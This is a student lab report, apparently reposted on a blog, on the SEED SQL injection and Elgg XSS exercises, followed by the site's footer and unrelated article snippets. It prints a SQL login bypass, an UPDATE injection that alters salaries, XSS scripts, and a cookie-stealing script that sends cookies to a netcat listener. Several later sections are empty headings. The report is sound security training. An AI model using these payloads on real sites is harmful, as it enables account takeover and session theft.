20232906 2023-2024-2 《网络与系统攻防技术》第十次作业

20232906 2023-2024-2 《网络与系统攻防技术》第十次作业

1.实验内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在http://www.seedlabsqlinjection.com/(仅在SEED Ubuntu中可访问)。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
  • 弹窗显示cookie信息:将cookie信息显示。
  • 窃取受害者的cookies:将cookie发送给攻击者。
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
  • 编写XSS蠕虫。
  • 对抗XSS攻击。

2.实验过程

2.0 环境配置

  1. 这次实验需要使用SEEDUbuntu-16.04-32,可以通过DigitalOcean链接下载,下载后解压即可得到.vmdk文件。

  2. 在Vmware中选择“创建新的虚拟机”——“自定义”——Workstation14.x——“稍后安装操作系统”——“Linux”——“Ubuntu”——位置随意——处理器2内核1——内存2048MB——“网络地址转换”——“LSI Logic”——“SCSI”——“使用现有虚拟磁盘”——选择步骤1解压的文件中的“SEEDUbuntu-16.04-32bit.vmdk”完成创建。

  3. 开机后,点击“虚拟机(M)”——安装Vmware Tools

  4. 在左边栏中点击DVD图标,找到其中的压缩包tar文件,将其复制到home目录下,如图一所示。


    图一 复制压缩包
  5. 双击压缩包并点击“Extract”进行解压,然后进入解压得到的文件夹中,鼠标右键——“Open in Terminal”,然后在终端中输入命令sudo ./vmware-install.pl,在安装过程中,遇到【Y/N】输入y,遇到其他提示直接按回车,安装结束后重启虚拟机即可完成安装。

2.1 SEED SQL注入攻击与防御实验

2.1.1 基础知识
  1. SQL(Structured Query Language)是“结构化查询语言”,它是对关系型数据库的操作语言。它可以应用到所有关系型数据库中,例如:MySQL、Oracle、SQL Server 等。
  2. SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。 SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。
2.1.2 熟悉SQL语句
  1. 首先我们熟悉一下SQL语句的使用,在SEED Ubuntu中输入命令mysql -u root -p,然后回车并输入密码seedubuntu登录数据库,如图二所示。

    -u:指定用户名
    -p:指定密码。


    图二 登录MySQL数据库
  2. 输入命令查询Users数据库中的数据表,并使用命令读取数据表中的字段,每行分别输入回车执行,如图三所示。

    use Users;	//切换到Users数据库
    show tables;	//查询Users数据库中的数据表
    select * from credential;	//查询credential表中的条目
    

    图三 查询Users数据库中的数据表
2.1.3 对 SELECT 语句的SQL注入攻击
  1. SELECT 语句用于从数据库中选取数据。结果被存储在一个结果表中,称为结果集

  2. 2.1.2中的数据表是http://www.seedlabsqlinjection.com/使用的数据,我们访问该网站,随意输入用户名和密码,网站提示如图四所示。


    图四 随意输入用户名和密码后网站提示
  3. 单击“F12”——“Network”,然后刷新网页,可以发现用户名和密码通过GET请求(通过URL的传参也可以看出)提交至unsafe_home.php页面进行身份检验,如图五所示。


    图五 查看网络流量
  4. 据上述分析,我们检查一下unsafe_home.php的相关代码,在终端中使用命令vim /var/www/SQLInjection/unsafe_home.php,结果如图六所示。首先检查了一下Session确认是否已经登录,然后和Users数据库建立连接,并从credential表中查找用户输入的用户名和密码组合是否存在。


    图五 unsafe_home.php
  5. 继续往下看,可以发现如图六所示代码,如果用户为Admin,则会输出所有用户的信息。


    图六 判断是否为管理员
  6. 其中,我们要注入的SQL查询为:

    SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';
    
  7. 在SQL语句中,“#”表示注释,如果我们的用户名输入为“Admin’#”,则SQL查询变为:

    SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'#' and Password='$hashed_pwd';
    

    不难看出' and Password='$hashed_pwd'被当作注释而无法发挥作用,所以只需要输入用户名:Admin'#即可进入该网站的管理员界面,如图七所示,同理将用户名换为[数据表中6用户名之一]'#既可以登入对应用户的账户:


    图七 成功进行SQL注入攻击
2.1.4 对 UPDATE 语句的SQL注入攻击
  1. UPDATE 语句用于更新表中已存在的记录。

  2. 按照2.1.3的分析,我们输入用户名Alice'#登入Alice的账户,如图八所示。


    图八 通过SQL注入攻击登入Alice账户
  3. 单击“F12”——“Network”,然后单击“Edit Profile”然后直接点“Save”,如图九所示,浏览器将修改后的数据传入unsafe_edit_backend.php中进行处理。


    图九 数据传入unsafe_edit_backend.php中处理
  4. 在终端中输入命令vim /var/www/SQLInjection/unsafe_edit_backend.php查看对应的代码,如图十所示。正常情况下员工可以修改自己的昵称、右键、地址、密码和电话号码。


    图十 unsafe_edit_backend.php
  5. 其中,我们要注入的SQL语句为:

    UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
    
  6. 在 NickName 一栏输入', salary='1000' where Name='Alice';#,则SQL查询变为:

    UPDATE credential SET nickname='', salary='1000' where Name='Alice';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
    

    这样便可以成功修改Alice的工资金额为1000,如图十一所示:


    图十一 成功修改Alice的工资金额
  7. 同理在 NickName 一栏输入', salary='1000' where Name='[其他用户名]';#,则SQL查询变为:

    UPDATE credential SET nickname='', salary='1000' where Name='[其他用户名]';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
    

    这样甚至可以修改其他人的工资金额,将salary换成Password则可以修改其他用户的密码,这里不再演示。

2.1.5 SQL对抗
  1. SQL注入漏洞存在的原因是代码和数据没有隔离。程序没有对SQL语句进行检查,并禁止出现“;”、“#”等可能导致SQL注入的符号,因此产生了漏洞。
  2. 我们可以使用预处理语句阻止上面分析的两种SQL注入攻击。
  3. 对于unsafe_home.php,我们对SELECT语句进行预处理,修改如下:
    //原来的php代码:
    $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";//修改后的php代码:
    $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;");
    $sql->bind_param("ss", $input_uname, $hashed_pwd);
    
  4. 对于unsafe_edit_backend.php,我们也对UPDATE语句进行预处理,修改如下:
    //原来的php代码
    if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";}else{
    // if passowrd field is empty.
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
    }//修改后的php代码:
    if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
    }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
    }
    

2.2 SEED XSS跨站脚本攻击实验

2.2.1 基础知识

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
XSS分为:存储型 、反射型 、DOM型三种

  • 存储型XSS:存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
  • 反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
  • DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
2.2.2 发布恶意消息,显示警报窗口
  1. 我们访问http://www.xsslabelgg.com/,使用Alice的身份登录,用户名为Alice,密码为seedalice

  2. 如图十二所示,点击“Alice”——“Edit Profile”,然后在“Brief description”中写入以下内容:

    <script>alert("xss");</script>	//弹出警告窗口,显示“xss”
    

    图十二 在Brief description中写入js代码
  3. 点击“Save”保存后,之后每次访问http://www.xsslabelgg.com/profile/alice都会弹出xss的alert窗口,如图十三所示。


    图十三 每次访问Alice的主页都会弹出xss的alert窗口
  4. 同样,我们使用Boby的身份登录该系统,点击“More”——“Members”,则也会看到xss的弹窗,如图十四所示。


    图十四 其他人都会受此影响
2.2.3 弹窗显示 cookie 信息
  1. 按照2.2.2的操作流程,把填入“Brief description”中的内容改为:

    <script> alert(document.cookie);</script>
    

    即可弹窗显示cookie信息,如图十五所示。


    图十五 弹窗显示了用户当前的cookie信息
2.2.4 窃取受害者的 cookies
  1. 当JavaScript插入img标签时,浏览器会尝试从src字段中的URL加载图片,这一过程有HTTP GET请求发送到对应的URL,据此我们可以编写js代码,如下所示。

    <script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
    </script>
    
  2. 我们把这段js代码还是写入“Brief description”中,然后开启终端并输入命令nc -l 5555 -v监听5555端口。

    -l:用于指定nc将处于侦听模式,即作为server侦听指定端口。
    -v:输出交互或出错信息。

  3. 之后只要有用户访问Alice的主页,netcat就会接收到该用户的cookie,如图十六所示。


    图十六 netcat接收到了cookie信息
2.2.5 成为受害者的朋友
2.2.6 编写 XSS 蠕虫
2.2.7 对抗 XSS 攻击

3.问题及解决方案

  • 问题1:***

  • 问题1解决方案:***

4.学习感悟、思考等


参考资料

  • SEED Labs - Wenliang Du
  • 入坑解读 | 什么是SQL注入? - 信息安全发送者
  • execstack_0.0.20131005-1+b10_amd64.deb

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/13355.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算法day08

第一题 1. 两数之和 由上述题意所知&#xff0c;本题要采用二分法的解题思路&#xff0c;二分法主要是面向有序的数组且也满足二段性的数组&#xff0c;所谓二段性就是在一定的规则下能把该数组分成两个部分&#xff1b; 本题注意要点&#xff1a; 1、循环结束的条件&#xff…

【Leetcode每日一题】 综合练习 - 括号生成(难度⭐⭐)(76)

1. 题目解析 题目链接&#xff1a;22. 括号生成 这个问题的理解其实相当简单&#xff0c;只需看一下示例&#xff0c;基本就能明白其含义了。 2.算法原理 问题描述 我们需要找出所有可能的、有效的括号序列。一个有效的括号序列指的是一个仅由(和)组成的字符串&#xff0c;…

ssm132医院住院综合服务管理系统设计与开发+vue

医院住院综合服务管理系统的设计与实现 摘 要 互联网发展至今&#xff0c;无论是其理论还是技术都已经成熟&#xff0c;而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播&#xff0c;搭配信息管理工具可以很好地为人们提供服务。针对医院住院信息管理混乱&…

【高阶数据结构(四)】图的最短路径问题

&#x1f493;博主CSDN主页:杭电码农-NEO&#x1f493;   ⏩专栏分类:高阶数据结构专栏⏪   &#x1f69a;代码仓库:NEO的学习日记&#x1f69a;   &#x1f339;关注我&#x1faf5;带你学习更多数据结构   &#x1f51d;&#x1f51d; 高阶数据结构 1. 前言2. 单源最短…

第八篇 Asciidoc 输出 All In One HTML 解决图片无法显示问题

问题:我的图片显示不出来了 小明使用 Asciidoc 来记笔记,他将笔记输出为 HTML 文件。小丽向小明借笔记。小明将 Asciidoc 笔记输出为 HTML文件,并拷贝给了小丽。 但是,小丽发现,图片都显示不出来了。 小丽:小明,你给我的笔记,图片都显示不出来啊。 小明:是我给你的…

析构函数详解

目录 析构函数概念特性对象的销毁顺序 感谢各位大佬对我的支持,如果我的文章对你有用,欢迎点击以下链接 &#x1f412;&#x1f412;&#x1f412; 个人主页 &#x1f978;&#x1f978;&#x1f978; C语言 &#x1f43f;️&#x1f43f;️&#x1f43f;️ C语言例题 &…

yolov8实战之 .pt 转. tensorRT

1 yolo 训练 1.1修改自己的数据集合 我是有3个类别&#xff0c;差不多这么些数据 1.2 训练 from ultralytics import YOLO # Load a model model YOLO("yolov8m.yaml") # build a new model from scratch #model YOLO(E:/pythonCode/pythonProject1/runs/detec…

风电功率预测 | 基于PSO-BP神经网络实现风电功率预测(附matlab完整源码)

风电功率预测 风电功率预测完整代码风电功率预测 基于粒子群优化算法(Particle Swarm Optimization, PSO)的BP神经网络是一种常见的方法,用于实现风电功率预测。下面是一个基于PSO-BP神经网络实现风电功率预测的一般步骤: 数据准备:收集与风电场发电功率相关的数据,包括…

农林科学SCI期刊,IF=6+,影响力高,对国人非常友好!

一、期刊名称 Crop Journal 二、期刊简介概况 期刊类型&#xff1a;SCI 学科领域&#xff1a;农林科学 影响因子&#xff1a;6.6 中科院分区&#xff1a;1区 出版方式&#xff1a;开放出版 版面费&#xff1a;$900 三、期刊征稿范围 《作物杂志》是一份双月刊、国际、同…

PHP使用Browsershot进行网页截图

Browsershot是什么 Spatie Browsershot 是一个开源PHP库&#xff0c;它允许开发者在PHP应用程序中生成网页的截图。 这个库特别适用于Laravel框架&#xff0c;但也可以在其他 PHP 应用程序中使用。 主要特点 无头浏览器截图&#xff1a;使用无头版本的 Chrome 或 Chromium 浏…

10W 3KVAC隔离 宽电压输入 AC/DC 电源模块 ——TP10AF系列

TP10AF系列输出功率为10W&#xff0c;具有可靠性高、更小的体积、性价比高等特点&#xff0c;广泛用于工控和电力仪器、仪表、智能家居等相关行业。

SMB攻击利用之-mimikatz上传/下载流量数据包逆向分析

SMB协议作为windows环境下最为常见的一种协议,在历史上出现过无数的通过SMB协议进行网络攻击利用的案例,包括针对SMB协议本身以及通过SMB协议实施网络攻击。 本文将介绍一种通过SMB协议的常见利用方式,即向远程主机传输mimikatz,作为我的专栏《SMB攻击流量数据包分析》中的…

前端学习第一课

AJAX 事先说明&#xff0c;这只是记录&#xff0c;并不是从零到一的教学内容&#xff0c;如果想要学习的话&#xff0c;可以跳过本文章了 ok&#xff0c;转回正题&#xff0c;正如上面所说&#xff0c;这只是记录。其实我是有一定的前端基础的&#xff0c;也做过涉及相关的开发…

【工具】macOS、window11访问limux共享目录\共享磁盘,samba服务安装使用

一、samba服务安装 Samba是一个免费的开源软件实现&#xff0c;使得非Windows操作系统能够与Windows系统进行文件和打印服务共享。它实现了SMB/CIFS协议&#xff0c;并且能够在Linux、Unix、BSD等多种系统上运行。 安装 samba&#xff1a; sudo yum install samba配置 samba…

【介绍下Python多线程,什么是Python多线程】

&#x1f308;个人主页: 程序员不想敲代码啊 &#x1f3c6;CSDN优质创作者&#xff0c;CSDN实力新星&#xff0c;CSDN博客专家 &#x1f44d;点赞⭐评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共…

【气象常用】时间序列的线性拟合

效果图&#xff1a; 主要步骤&#xff1a; 1. 数据准备&#xff1a;下载Hadley Centre observations datasets的HadSST数据 可参考【气象常用】时间序列图-CSDN博客 2. 数据处理&#xff1a;计算线性拟合 3. 图像绘制&#xff1a;绘制折线及拟合线&#xff0c;并添加文本 …

其他自动化工程师都在偷偷学习AI技术,你再不学就落后了!一篇文章教会你使用AI!

其他自动化工程师都在偷偷学习AI技术&#xff0c;你再不学就落后了&#xff01;一篇文章教会你使用AI&#xff01; 哈喽&#xff0c;大家好&#xff0c;我是小叔。了解小叔的朋友都清楚&#xff0c;我从来都不是标题党&#xff0c;我只会用美女图片来吸引你们&#x1f602;&am…

python 六句话让电脑告诉你,刚才插入的串口编号

六句话让电脑告诉你&#xff0c;我的串口号 第一步&#xff0c;安装python 编译器以及pyserial 模块第二步&#xff0c;写入代码 import serial.tools.list_ports usart_list list(serial.tools.list_ports.comports()) input("Please insert your serial port:")…

midjourney里有哪些常用参数?

一、stylize参数 Midjourney 经过训练&#xff0c;可以生成更加具有艺术色彩、构图和形式的图像。 --stylize或参数--s影响该训练的应用程度。 低风格化值生成的图像与提示词非常匹配&#xff0c;但艺术性较差。数值越高艺术性更好&#xff0c;但是和描述词相关性更差&#…